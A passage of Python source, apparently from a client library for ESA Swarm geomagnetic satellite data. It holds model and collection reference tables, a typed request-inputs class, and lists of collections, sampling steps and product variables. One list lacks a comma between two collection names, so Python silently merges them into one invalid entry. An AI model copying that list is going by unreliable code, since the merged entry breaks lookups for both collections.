ftp://swarm-diss.eo.esa.int/Level2longterm/MCO/SW_OPER_MCO_VAL_2D_20131126T000000_20180101T000000_0401.ZIP \",\n ),\n \"MLI_SHA_2C\": (\n \"[Comprehensive Inversion]: Lithospheric field of CIY4\",\n \"Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MLI/SW_OPER_MLI_VAL_2C_00000000T000000_99999999T999999_0401.ZIP\",\n ),\n \"MLI_SHA_2D\": (\n \"[Dedicated Chain]: Lithospheric field\",\n \" Swarm SCARF Dedicated Lithospheric Field Inversion chain, https://doi.org/10.5047/eps.2013.07.008 \",\n \" Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MLI/SW_OPER_MLI_VAL_2D_00000000T000000_99999999T999999_0401.ZIP \",\n ),\n \"MLI_SHA_2E\": (\n \"[Extended dedicated chain]: Lithospheric field\",\n \" Joint inversion of Swarm, CHAMP, and WDMAM data \",\n \" https://swarm-diss.eo.esa.int/?do=download&file=swarm%2FLevel2longterm%2FMLI%2FSW_OPER_MLI_VAL_2E_00000000T000000_99999999T999999_0502.ZIP \",\n ),\n \"MMA_SHA_2C-Primary\": (\n \"[Comprehensive Inversion]: Primary (external) magnetospheric field of CIY4\",\n \"Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MMA/SW_OPER_MMA_VAL_2C_20131201T000000_20180101T000000_0401.ZIP\",\n ),\n \"MMA_SHA_2C-Secondary\": (\n \"[Comprehensive Inversion]: Secondary (internal/induced) magnetospheric field of CIY4\",\n ),\n \"MMA_SHA_2F-Primary\": (\n \"[Fast-Track Product]: Primary (external) magnetospheric field\",\n \" Rapid modelling of the large-scale magnetospheric field from Swarm satellite data, https://doi.org/10.5047/eps.2013.09.003 \",\n ),\n \"MMA_SHA_2F-Secondary\": (\n \"[Fast-Track Product]: Secondary (internal/induced) magnetospheric field\",\n ),\n \"MIO_SHA_2C-Primary\": (\n \"[Comprehensive Inversion]: Primary (external) ionospheric field of CIY4\",\n \"Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MIO/SW_OPER_MIO_VAL_2C_00000000T000000_99999999T999999_0401.ZIP \",\n ),\n \"MIO_SHA_2C-Secondary\": (\n \"[Comprehensive Inversion]: Secondary (external/induced) ionospheric field of CIY4\",\n ),\n \"MIO_SHA_2D-Primary\": (\n \"[Dedicated Chain]: Primary (external) ionospheric field, DIFI\",\n \" Swarm SCARF dedicated ionospheric field inversion chain, https://doi.org/10.5047/eps.2013.08.006 \",\n \" First results from the Swarm Dedicated Ionospheric Field Inversion chain, https://doi.org/10.1186/s40623-016-0481-6 \",\n \" http://geomag.colorado.edu/difi-3 \",\n \"Validation: ftp://swarm-diss.eo.esa.int/Level2longterm/MIO/SW_OPER_MIO_VAL_2D_20131201T000000_20171231T235959_0402.ZIP \",\n ),\n \"MIO_SHA_2D-Secondary\": (\n \"[Dedicated Chain]: Secondary (external/induced) ionospheric field, DIFI\",\n ),\n \"AMPS\": (\"AMPS - associated magnetic field, https://github.com/klaundal/pyAMPS\",),\n \"MCO_SHA_2X\": (\"Alias for 'CHAOS-Core'\",),\n \"CHAOS\": (\n \"Alias for 'CHAOS-Core' + 'CHAOS-Static' + 'CHAOS-MMA-Primary' + 'CHAOS-MMA-Secondary'\",\n ),\n \"CHAOS-MMA\": (\"Alias for 'CHAOS-MMA-Primary' + 'CHAOS-MMA-Secondary'\",),\n \"MMA_SHA_2C\": (\"Alias for 'MMA_SHA_2C-Primary' + 'MMA_SHA_2C-Secondary'\",),\n \"MMA_SHA_2F\": (\"Alias for 'MMA_SHA_2F-Primary' + 'MMA_SHA_2F-Secondary'\",),\n \"MIO_SHA_2C\": (\"Alias for 'MIO_SHA_2C-Primary' + 'MIO_SHA_2C-Secondary'\",),\n \"MIO_SHA_2D\": (\"Alias for 'MIO_SHA_2D-Primary' + 'MIO_SHA_2D-Secondary'\",),\n \"SwarmCI\": (\n \"Alias for 'MCO_SHA_2C' + 'MLI_SHA_2C' + 'MIO_SHA_2C-Primary' + 'MIO_SHA_2C-Secondary' + 'MMA_SHA_2C-Primary' + 'MMA_SHA_2C-Secondary'\",\n ),\n}\n\nDEPRECATED_MODELS = {\n \"IGRF12\": \"Use IGRF instead.\",\n \"CHAOS-6-Core\": \"Use CHAOS-Core instead.\",\n \"CHAOS-6-Static\": \"Use CHAOS-Static instead.\",\n \"CHAOS-6-MMA-Primary\": \"Use CHAOS-MMA-Primary instead.\",\n \"CHAOS-6-MMA-Secondary\": \"Use CHAOS-MMA-Secondary instead.\",\n}\n\nCOLLECTION_REFERENCES = {\n \"MAG\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-1b-product-definitions#MAGX_LR_1B_Product \",\n ),\n \"MAG_HR\": (\n \"https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-1b-product-definitions#MAGX_HR_1B_Product \",\n ),\n \"EFI\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-1b-product-definitions#EFIX_LP_1B_Product \",\n ),\n \"IBI\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#IBIxTMS_2F \",\n \" https://earth.esa.int/documents/10174/1514862/Swarm_L2_IBI_product_description \",\n ),\n \"TEC\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#TECxTMS_2F \",\n \" https://earth.esa.int/documents/10174/1514862/Swarm_Level-2_TEC_Product_Description \",\n ),\n \"FAC\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#FAC_TMS_2F \",\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#FACxTMS_2F \",\n \" https://earth.esa.int/documents/10174/1514862/Swarm_L2_FAC_single_product_description \",\n \" https://earth.esa.int/documents/10174/1514862/Swarm-L2-FAC-Dual-Product-Description \",\n ),\n \"EEF\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#EEFxTMS_2F \",\n \" https://earth.esa.int/documents/10174/1514862/Swarm-Level-2-EEF-Product-Description \",\n ),\n \"IPD\": (\n \" https://earth.esa.int/web/guest/missions/esa-eo-missions/swarm/data-handbook/level-2-product-definitions#IPDxIPR_2F \",\n ),\n \"AUX_OBSH\": (\"https://doi.org/10.5047/eps.2013.07.011\",),\n \"AUX_OBSM\": (\"https://doi.org/10.5047/eps.2013.07.011\",),\n \"AUX_OBSS\": (\"https://doi.org/10.5047/eps.2013.07.011\",),\n \"VOBS_SW_1M\": (\"https://earth.esa.int/eogateway/activities/gvo\",),\n \"AEJ_LPL\": (\"https://earth.esa.int/eogateway/activities/swarm-aebs\",),\n \"AEJ_LPS\": (\"https://earth.esa.int/eogateway/activities/swarm-aebs\",),\n \"AEJ_PBL\": (\"https://earth.esa.int/eogateway/activities/swarm-aebs\",),\n \"AEJ_PBS\": (\"https://earth.esa.int/eogateway/activities/swarm-aebs\",),\n \"AOB_FAC\": (\"https://earth.esa.int/eogateway/activities/swarm-aebs\",),\n \"MIT_LP\": (\n \"https://earth.esa.int/eogateway/activities/plasmapause-related-boundaries-in-the-topside-ionosphere-as-derived-from-swarm-measurements\",\n ),\n \"MIT_TEC\": (\n \"https://earth.esa.int/eogateway/activities/plasmapause-related-boundaries-in-the-topside-ionosphere-as-derived-from-swarm-measurements\",\n ),\n \"PPI_FAC\": (\n \"https://earth.esa.int/eogateway/activities/plasmapause-related-boundaries-in-the-topside-ionosphere-as-derived-from-swarm-measurements\",\n ),\n \"MAG_CS\": (\"https://doi.org/10.1186/s40623-020-01171-9\",),\n \"MAG_GRACE\": (\"https://doi.org/10.1186/s40623-021-01373-9\",),\n \"MAG_GFO\": (\"https://doi.org/10.1186/s40623-021-01364-w\",),\n \"EFI_IDM\": (\n \"https://earth.esa.int/eogateway/documents/20142/2860886/SLIDEM_Product_Definition.pdf\",\n ),\n \"MAG_GOCE\": (\"https://doi.org/10.5880/GFZ.2.3.2022.001\",),\n \"MAG_GOCE_ML\": (\"https://doi.org/10.5880/GFZ.2.3.2022.002\",),\n \"EFI_TIE\": (\n \"https://earth.esa.int/eogateway/activities/swarm-ion-temperature-estimation\",\n ),\n \"EFI_TCT02\": (\n \"https://earth.esa.int/eogateway/documents/20142/37627/swarm-EFI-TII-cross-track-flow-dataset-release-notes.pdf\",\n ),\n \"EFI_TCT16\": (\n \"https://earth.esa.int/eogateway/documents/20142/37627/swarm-EFI-TII-cross-track-flow-dataset-release-notes.pdf\",\n ),\n}\nfor mission in (\"SW\", \"OR\", \"CH\", \"CR\", \"CO\"):\n for cadence in (\"1M\", \"4M\"):\n COLLECTION_REFERENCES[f\"VOBS_{mission}_{cadence}\"] = (\n \"https://earth.esa.int/eogateway/activities/gvo\",\n )\n\nDATA_CITATIONS = {\n \"AUX_OBSH\": \"ftp://ftp.nerc-murchison.ac.uk/geomag/Swarm/AUX_OBS/hour/README\",\n \"AUX_OBSM\": \"ftp://ftp.nerc-murchison.ac.uk/geomag/Swarm/AUX_OBS/minute/README\",\n \"AUX_OBSS\": \"ftp://ftp.nerc-murchison.ac.uk/geomag/Swarm/AUX_OBS/second/README\",\n}\n\nIAGA_CODES = CONFIG_SWARM.get(\"IAGA_CODES\")\n\nVOBS_SITES = CONFIG_SWARM.get(\"VOBS_SITES\")\n\n\nclass SwarmWPSInputs(WPSInputs):\n \"\"\"Holds the set of inputs to be passed to the request template for Swarm\"\"\"\n\n NAMES = [\n \"collection_ids\",\n \"model_expression\",\n \"begin_time\",\n \"end_time\",\n \"variables\",\n \"filters\",\n \"sampling_step\",\n \"response_type\",\n \"custom_shc\",\n \"ignore_cached_models\",\n ]\n\n def __init__(\n self,\n collection_ids=None,\n model_expression=None,\n begin_time=None,\n end_time=None,\n variables=None,\n filters=None,\n sampling_step=None,\n response_type=None,\n custom_shc=None,\n ignore_cached_models=False,\n ):\n # Set up default values\n # Obligatory - these must be replaced before the request is made\n self.collection_ids = None if collection_ids is None else collection_ids\n self.begin_time = None if begin_time is None else begin_time\n self.end_time = None if end_time is None else end_time\n self.response_type = None if response_type is None else response_type\n # Optional - these defaults will be used if not replaced before the\n # request is made\n self.model_expression = \"\" if model_expression is None else model_expression\n self.variables = [] if variables is None else variables\n self.filters = None if filters is None else filters\n self.sampling_step = None if sampling_step is None else sampling_step\n self.custom_shc = None if custom_shc is None else custom_shc\n self.ignore_cached_models = ignore_cached_models\n\n @property\n def collection_ids(self):\n return self._collection_ids\n\n @collection_ids.setter\n def collection_ids(self, collection_ids):\n if isinstance(collection_ids, dict) or collection_ids is None:\n self._collection_ids = collection_ids\n else:\n raise TypeError(\"collection_ids must be a dict\")\n\n @staticmethod\n def _spacecraft_from_collection(collection):\n \"\"\"Identify spacecraft (or ground observatory name) from collection name.\"\"\"\n if \"AUX_OBS\" in collection:\n name = \"AUX_OBS\"\n if \":\" in collection:\n name = f\"{name}:{collection[19:22]}\"\n elif collection[:3] == \"SW_\":\n # 12th character in name, e.g. SW_OPER_MAGx_LR_1B\n sc = collection[11]\n sc_to_name = {\"A\": \"Alpha\", \"B\": \"Bravo\", \"C\": \"Charlie\"}\n name = sc_to_name.get(sc, \"NSC\")\n else:\n name = collection\n return name\n\n def set_collections(self, collections):\n \"\"\"Restructure given list of collections as dict required by VirES.\"\"\"\n # Build the output dictionary in the form:\n # {\"Alpha\": [\"SW..A..\", \"SW..A..\"], \"Bravo\": [\"SW..B..\"], \"NSC\": [..]}\n if isinstance(collections, list):\n collection_dict = {}\n for collection in collections:\n tag = self._spacecraft_from_collection(collection)\n if tag in collection_dict.keys():\n collection_dict[tag].append(collection)\n else:\n collection_dict[tag] = [collection]\n self.collection_ids = collection_dict\n else:\n raise TypeError(\"collections must be a list\")\n\n @property\n def model_expression(self):\n return self._model_expression\n\n @model_expression.setter\n def model_expression(self, model_expression):\n if isinstance(model_expression, str):\n self._model_expression = model_expression\n else:\n raise TypeError(\"model_expression must be a string\")\n\n @property\n def ignore_cached_models(self):\n return self._ignore_cached_models\n\n @ignore_cached_models.setter\n def ignore_cached_models(self, value):\n if isinstance(value, bool):\n self._ignore_cached_models = value\n else:\n raise TypeError\n\n @property\n def begin_time(self):\n return self._begin_time\n\n @begin_time.setter\n def begin_time(self, begin_time):\n if isinstance(begin_time, datetime.datetime) or begin_time is None:\n self._begin_time = begin_time\n else:\n raise TypeError\n\n @property\n def end_time(self):\n return self._end_time\n\n @end_time.setter\n def end_time(self, end_time):\n if isinstance(end_time, datetime.datetime) or end_time is None:\n self._end_time = end_time\n else:\n raise TypeError\n\n @property\n def variables(self):\n return self._variables\n\n @variables.setter\n def variables(self, variables):\n if isinstance(variables, list):\n self._variables = variables\n else:\n raise TypeError\n\n @property\n def filters(self):\n return self._filters\n\n @filters.setter\n def filters(self, filters):\n if isinstance(filters, str) or filters is None:\n self._filters = filters\n else:\n raise TypeError\n\n @property\n def sampling_step(self):\n return self._sampling_step\n\n @sampling_step.setter\n def sampling_step(self, sampling_step):\n if isinstance(sampling_step, str) or sampling_step is None:\n self._sampling_step = sampling_step\n else:\n raise TypeError\n\n @property\n def response_type(self):\n return self._response_type\n\n @response_type.setter\n def response_type(self, response_type):\n if isinstance(response_type, str) or response_type is None:\n self._response_type = response_type\n else:\n raise TypeError\n\n @property\n def custom_shc(self):\n return self._custom_shc\n\n @custom_shc.setter\n def custom_shc(self, custom_shc):\n if isinstance(custom_shc, str) or custom_shc is None:\n self._custom_shc = custom_shc\n else:\n raise TypeError\n\n\nclass SwarmRequest(ClientRequest):\n \"\"\"Handles the requests to and downloads from the server.\n\n Examples:\n\n Retrieve data::\n\n from viresclient import SwarmRequest\n # Set up connection with server\n request = SwarmRequest(\"https://vires.services/ows\")\n # Set collection to use\n request.set_collection(\"SW_OPER_MAGA_LR_1B\")\n # Set mix of products to fetch:\n # measurements (variables from the given collection)\n # models (magnetic model predictions at spacecraft sampling points)\n # auxiliaries (variables available with any collection)\n request.set_products(\n measurements=[\"F\", \"B_NEC\"],\n models=[\"CHAOS-Core\"],\n auxiliaries=[\"QDLat\", \"QDLon\"],\n sampling_step=\"PT10S\"\n )\n # Fetch data from a given time interval\n data = request.get_between(\n start_time=\"2014-01-01T00:00\",\n end_time=\"2014-01-01T01:00\"\n )\n # Load the data as an xarray.Dataset\n ds = data.as_xarray()\n\n Check what data are available::\n\n request.available_collections(details=False)\n request.available_measurements(\"MAG\")\n request.available_auxiliaries()\n request.available_models(details=False)\n\n Args:\n url (str):\n token (str):\n config (str or ClientConfig):\n logging_level (str):\n\n \"\"\"\n\n MISSION_SPACECRAFTS = {\n \"Swarm\": [\"A\", \"B\", \"C\"],\n \"GRACE\": [\"1\", \"2\"],\n \"GRACE-FO\": [\"1\", \"2\"],\n \"CryoSat-2\": None,\n \"GOCE\": None,\n }\n\n CONJUNCTION_MISSION_SPACECRAFT_PAIRS = {\n ((\"Swarm\", \"A\"), (\"Swarm\", \"B\")),\n }\n\n COLLECTIONS = {\n \"MAG\": [f\"SW_OPER_MAG{x}_LR_1B\" for x in \"ABC\"],\n \"MAG_HR\": [f\"SW_OPER_MAG{x}_HR_1B\" for x in \"ABC\"],\n \"EFI\": [f\"SW_OPER_EFI{x}_LP_1B\" for x in \"ABC\"],\n \"EFI_IDM\": [f\"SW_PREL_EFI{x}IDM_2_\" for x in \"ABC\"],\n \"EFI_TIE\": [f\"SW_OPER_EFI{x}TIE_2_\" for x in \"ABC\"],\n \"EFI_TCT02\": [f\"SW_EXPT_EFI{x}_TCT02\" for x in \"ABC\"],\n \"EFI_TCT16\": [f\"SW_EXPT_EFI{x}_TCT16\" for x in \"ABC\"],\n \"IBI\": [f\"SW_OPER_IBI{x}TMS_2F\" for x in \"ABC\"],\n \"TEC\": [f\"SW_OPER_TEC{x}TMS_2F\" for x in \"ABC\"],\n \"FAC\": [f\"SW_OPER_FAC{x}TMS_2F\" for x in \"ABC_\"],\n \"EEF\": [f\"SW_OPER_EEF{x}TMS_2F\" for x in \"ABC\"],\n \"IPD\": [f\"SW_OPER_IPD{x}IRR_2F\" for x in \"ABC\"],\n \"AEJ_LPL\": [f\"SW_OPER_AEJ{x}LPL_2F\" for x in \"ABC\"],\n \"AEJ_LPL:Quality\": [f\"SW_OPER_AEJ{x}LPL_2F:Quality\" for x in \"ABC\"],\n \"AEJ_LPS\": [f\"SW_OPER_AEJ{x}LPS_2F\" for x in \"ABC\"],\n \"AEJ_LPS:Quality\": [f\"SW_OPER_AEJ{x}LPS_2F:Quality\" for x in \"ABC\"],\n \"AEJ_PBL\": [f\"SW_OPER_AEJ{x}PBL_2F\" for x in \"ABC\"],\n \"AEJ_PBS\": [f\"SW_OPER_AEJ{x}PBS_2F\" for x in \"ABC\"],\n \"AEJ_PBS:GroundMagneticDisturbance\": [\n f\"SW_OPER_AEJ{x}PBS_2F:GroundMagneticDisturbance\" for x in \"ABC\"\n ],\n \"AOB_FAC\": [f\"SW_OPER_AOB{x}FAC_2F\" for x in \"ABC\"],\n \"AUX_OBSH\": [\n \"SW_OPER_AUX_OBSH2_\",\n *[f\"SW_OPER_AUX_OBSH2_:{code}\" for code in IAGA_CODES],\n ],\n \"AUX_OBSM\": [\n \"SW_OPER_AUX_OBSM2_\",\n *[f\"SW_OPER_AUX_OBSM2_:{code}\" for code in IAGA_CODES],\n ],\n \"AUX_OBSS\": [\n \"SW_OPER_AUX_OBSS2_\",\n *[f\"SW_OPER_AUX_OBSS2_:{code}\" for code in IAGA_CODES],\n ],\n \"VOBS_SW_1M\": [\n \"SW_OPER_VOBS_1M_2_\",\n *[f\"SW_OPER_VOBS_1M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_SW_4M\": [\n \"SW_OPER_VOBS_4M_2_\",\n *[f\"SW_OPER_VOBS_4M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CH_1M\": [\n \"CH_OPER_VOBS_1M_2_\",\n *[f\"CH_OPER_VOBS_1M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CR_1M\": [\n \"CR_OPER_VOBS_1M_2_\",\n *[f\"CR_OPER_VOBS_1M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_OR_1M\": [\n \"OR_OPER_VOBS_1M_2_\",\n *[f\"OR_OPER_VOBS_1M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CO_1M\": [\n \"CO_OPER_VOBS_1M_2_\",\n *[f\"CO_OPER_VOBS_1M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_OR_4M\": [\n \"OR_OPER_VOBS_4M_2_\",\n *[f\"OR_OPER_VOBS_4M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CH_4M\": [\n \"CH_OPER_VOBS_4M_2_\",\n *[f\"CH_OPER_VOBS_4M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CR_4M\": [\n \"CR_OPER_VOBS_4M_2_\",\n *[f\"CR_OPER_VOBS_4M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CO_4M\": [\n \"CO_OPER_VOBS_4M_2_\",\n *[f\"CO_OPER_VOBS_4M_2_:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_SW_1M:SecularVariation\": [\n \"SW_OPER_VOBS_1M_2_:SecularVariation\",\n *[f\"SW_OPER_VOBS_1M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_SW_4M:SecularVariation\": [\n \"SW_OPER_VOBS_4M_2_:SecularVariation\",\n *[f\"SW_OPER_VOBS_4M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CH_1M:SecularVariation\": [\n \"CH_OPER_VOBS_1M_2_:SecularVariation\",\n *[f\"CH_OPER_VOBS_1M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CR_1M:SecularVariation\": [\n \"CR_OPER_VOBS_1M_2_:SecularVariation\",\n *[f\"CR_OPER_VOBS_1M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_OR_1M:SecularVariation\": [\n \"OR_OPER_VOBS_1M_2_:SecularVariation\",\n *[f\"OR_OPER_VOBS_1M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CO_1M:SecularVariation\": [\n \"CO_OPER_VOBS_1M_2_:SecularVariation\",\n *[f\"CO_OPER_VOBS_1M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_OR_4M:SecularVariation\": [\n \"OR_OPER_VOBS_4M_2_:SecularVariation\",\n *[f\"OR_OPER_VOBS_4M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CH_4M:SecularVariation\": [\n \"CH_OPER_VOBS_4M_2_:SecularVariation\",\n *[f\"CH_OPER_VOBS_4M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CR_4M:SecularVariation\": [\n \"CR_OPER_VOBS_4M_2_:SecularVariation\",\n *[f\"CR_OPER_VOBS_4M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"VOBS_CO_4M:SecularVariation\": [\n \"CO_OPER_VOBS_4M_2_:SecularVariation\",\n *[f\"CO_OPER_VOBS_4M_2_:SecularVariation:{site}\" for site in VOBS_SITES],\n ],\n \"MIT_LP\": [f\"SW_OPER_MIT{x}_LP_2F\" for x in \"ABC\"],\n \"MIT_LP:ID\": [f\"SW_OPER_MIT{x}_LP_2F:ID\" for x in \"ABC\"],\n \"MIT_TEC\": [f\"SW_OPER_MIT{x}TEC_2F\" for x in \"ABC\"],\n \"MIT_TEC:ID\": [f\"SW_OPER_MIT{x}TEC_2F:ID\" for x in \"ABC\"],\n \"PPI_FAC\": [f\"SW_OPER_PPI{x}FAC_2F\" for x in \"ABC\"],\n \"PPI_FAC:ID\": [f\"SW_OPER_PPI{x}FAC_2F:ID\" for x in \"ABC\"],\n # Multi-mission magnetic products\n \"MAG_CS\": [\n \"CS_OPER_MAG\",\n ],\n \"MAG_GRACE\": [\"GRACE_A_MAG\", \"GRACE_B_MAG\"],\n \"MAG_GFO\": [\"GF1_OPER_FGM_ACAL_CORR\", \"GF2_OPER_FGM_ACAL_CORR\"],\n \"MAG_GOCE\": [\"GO_MAG_ACAL_CORR\"],\n \"MAG_GOCE_ML\": [\"GO_MAG_ACAL_CORR_ML\"],\n # Swarm spacecraft positions\n \"MOD_SC\": [f\"SW_OPER_MOD{x}_SC_1B\" for x in \"ABC\"],\n }\n\n OBS_COLLECTIONS = [\n \"SW_OPER_AUX_OBSH2_\",\n \"SW_OPER_AUX_OBSM2_\",\n \"SW_OPER_AUX_OBSS2_\",\n \"SW_OPER_VOBS_1M_2_\",\n \"SW_OPER_VOBS_4M_2_\",\n \"CH_OPER_VOBS_1M_2_\",\n \"CR_OPER_VOBS_1M_2_\",\n \"OR_OPER_VOBS_1M_2_\" \"CO_OPER_VOBS_1M_2_\",\n \"OR_OPER_VOBS_4M_2_\",\n \"CH_OPER_VOBS_4M_2_\",\n \"CR_OPER_VOBS_4M_2_\",\n \"CO_OPER_VOBS_4M_2_\",\n \"SW_OPER_VOBS_1M_2_:SecularVariation\",\n \"SW_OPER_VOBS_4M_2_:SecularVariation\",\n \"CH_OPER_VOBS_1M_2_:SecularVariation\",\n \"CR_OPER_VOBS_1M_2_:SecularVariation\",\n \"OR_OPER_VOBS_1M_2_:SecularVariation\",\n \"CO_OPER_VOBS_1M_2_:SecularVariation\",\n \"OR_OPER_VOBS_4M_2_:SecularVariation\",\n \"CH_OPER_VOBS_4M_2_:SecularVariation\",\n \"CR_OPER_VOBS_4M_2_:SecularVariation\",\n \"CO_OPER_VOBS_4M_2_:SecularVariation\",\n ]\n\n # These are not necessarily real sampling steps, but are good enough to use\n # for splitting long requests into chunks\n COLLECTION_SAMPLING_STEPS = {\n \"MAG\": \"PT1S\",\n \"MAG_HR\": \"PT0.019S\", # approx 50Hz (the sampling is not exactly 50Hz)\n \"EFI\": \"PT0.5S\",\n \"EFI_IDM\": \"PT0.5S\",\n \"EFI_TIE\": \"PT0.5S\",\n \"EFI_TCT02\": \"PT0.5S\",\n \"EFI_TCT16\": \"PT0.0625S\",\n \"IBI\": \"PT1S\",\n \"TEC\": \"PT1S\", # Actually more complicated\n \"FAC\": \"PT1S\",\n \"EEF\": \"PT90M\",\n \"IPD\": \"PT1S\",\n \"AEJ_LPL\": \"PT15.6S\",\n \"AEJ_LPS\": \"PT1S\",\n \"AUX_OBSH\": \"PT60M\",\n \"AUX_OBSM\": \"PT60S\",\n \"AUX_OBSS\": \"PT1S\",\n \"VOBS_SW_1M\": \"P31D\",\n \"VOBS_CH_1M\": \"P31D\",\n \"VOBS_CR_1M\": \"P31D\",\n \"VOBS_OR_1M\": \"P31D\",\n \"VOBS_CO_1M\": \"P31D\",\n \"VOBS_OR_4M\": \"P122D\",\n \"VOBS_SW_4M\": \"P122D\",\n \"VOBS_CH_4M\": \"P122D\",\n \"VOBS_CR_4M\": \"P122D\",\n \"VOBS_CO_4M\": \"P122D\",\n \"VOBS_SW_1M:SecularVariation\": \"P31D\",\n \"VOBS_CH_1M:SecularVariation\": \"P31D\",\n \"VOBS_CR_1M:SecularVariation\": \"P31D\",\n \"VOBS_OR_1M:SecularVariation\": \"P31D\",\n \"VOBS_CO_1M:SecularVariation\": \"P31D\",\n \"VOBS_OR_4M:SecularVariation\": \"P122D\",\n \"VOBS_SW_4M:SecularVariation\": \"P122D\",\n \"VOBS_CH_4M:SecularVariation\": \"P122D\",\n \"VOBS_CR_4M:SecularVariation\": \"P122D\",\n \"VOBS_CO_4M:SecularVariation\": \"P122D\",\n \"MIT_LP\": \"PT20M\",\n \"MIT_LP:ID\": \"PT20M\",\n \"MIT_TEC\": \"PT20M\",\n \"MIT_TEC:ID\": \"PT20M\",\n \"PPI_FAC\": \"PT20M\",\n \"PPI_FAC:ID\": \"PT20M\",\n }\n\n PRODUCT_VARIABLES = {\n \"MAG\": [\n \"F\",\n \"dF_Sun\",\n \"dF_AOCS\",\n \"dF_other\",\n \"F_error\",\n \"B_VFM\",\n \"B_NEC\",\n \"dB_Sun\",\n \"dB_AOCS\",\n \"dB_other\",\n \"B_error\",\n \"q_NEC_CRF\",\n \"Att_error\",\n \"Flags_F\",\n \"Flags_B\",\n \"Flags_q\",\n \"Flags_Platform\",\n \"ASM_Freq_Dev\",\n ],\n \"MAG_HR\": [ # NOTE: F is calculated on the fly from B_NEC (F = |B_NEC|)\n \"F\",\n \"B_VFM\",\n \"B_NEC\",\n \"dB_Sun\",\n \"dB_AOCS\",\n \"dB_other\",\n \"B_error\",\n \"q_NEC_CRF\",\n \"Att_error\",\n \"Flags_B\",\n \"Flags_q\",\n \"Flags_Platform\",\n ],\n \"EFI\": [\n \"U_orbit\",\n \"Ne\",\n \"Ne_error\",\n \"Te\",\n \"Te_error\",\n \"Vs\",\n \"Vs_error\",\n \"Flags_LP\",\n \"Flags_Ne\",\n \"Flags_Te\",\n \"Flags_Vs\",\n ],\n \"EFI_IDM\": [\n \"Latitude_GD\",\n \"Longitude_GD\",\n \"Height_GD\",\n \"Radius_GC\",\n \"Latitude_QD\",\n \"MLT_QD\",\n \"V_sat_nec\",\n \"M_i_eff\",\n \"M_i_eff_err\",\n \"M_i_eff_Flags\",\n \"M_i_eff_tbt_model\",\n \"V_i\",\n \"V_i_err\",\n \"V_i_Flags\",\n \"V_i_raw\",\n \"N_i\",\n \"N_i_err\",\n \"N_i_Flags\",\n \"A_fp\",\n \"R_p\",\n \"T_e\",\n \"Phi_sc\",\n ],\n \"EFI_TIE\": [\n \"Latitude_GD\",\n \"Longitude_GD\",\n \"Height_GD\",\n \"Radius_GC\",\n \"Latitude_QD\",\n \"MLT_QD\",\n \"Tn_msis\",\n \"Te_adj_LP\",\n \"Ti_meas_drift\",\n \"Ti_model_drift\",\n \"Flag_ti_meas\",\n \"Flag_ti_model\",\n ],\n \"EFI_TCT02\": [ # identical to EFI_TCT16\n \"VsatC\",\n \"VsatE\",\n \"VsatN\",\n \"Bx\",\n \"By\",\n \"Bz\",\n \"Ehx\",\n \"Ehy\",\n \"Ehz\",\n \"Evx\",\n \"Evy\",\n \"Evz\",\n \"Vicrx\",\n \"Vicry\",\n \"Vicrz\",\n \"Vixv\",\n \"Vixh\",\n \"Viy\",\n \"Viz\",\n \"Vixv_error\",\n \"Vixh_error\",\n \"Viy_error\",\n \"Viz_error\",\n \"Latitude_QD\",\n \"MLT_QD\",\n \"Calibration_flags\",\n \"Quality_flags\",\n ],\n \"EFI_TCT16\": [ # identical to EFI_TCT02\n \"VsatC\",\n \"VsatE\",\n \"VsatN\",\n \"Bx\",\n \"By\",\n \"Bz\",\n \"Ehx\",\n \"Ehy\",\n \"Ehz\",\n \"Evx\",\n \"Evy\",\n \"Evz\",\n \"Vicrx\",\n \"Vicry\",\n \"Vicrz\",\n \"Vixv\",\n \"Vixh\",\n \"Viy\",\n \"Viz\",\n \"Vixv_error\",\n \"Vixh_error\",\n \"Viy_error\",\n \"Viz_error\",\n \"Latitude_QD\",\n \"MLT_QD\",\n \"Calibration_flags\",\n \"Quality_flags\",\n ],\n \"IBI\": [\n \"Bubble_Index\",\n \"Bubble_Probability\",\n \"Flags_Bubble\",\n \"Flags_F\",\n \"Flags_B\",\n \"Flags_q\",\n ],\n \"TEC\": [\n \"GPS_Position\",\n \"LEO_Position\",\n \"PRN\",\n \"L1\",\n \"L2\",\n \"P1\",\n \"P2\",\n \"S1\",\n \"S2\",\n \"Elevation_Angle\",\n \"Absolute_VTEC\",\n \"Absolute_STEC\",\n 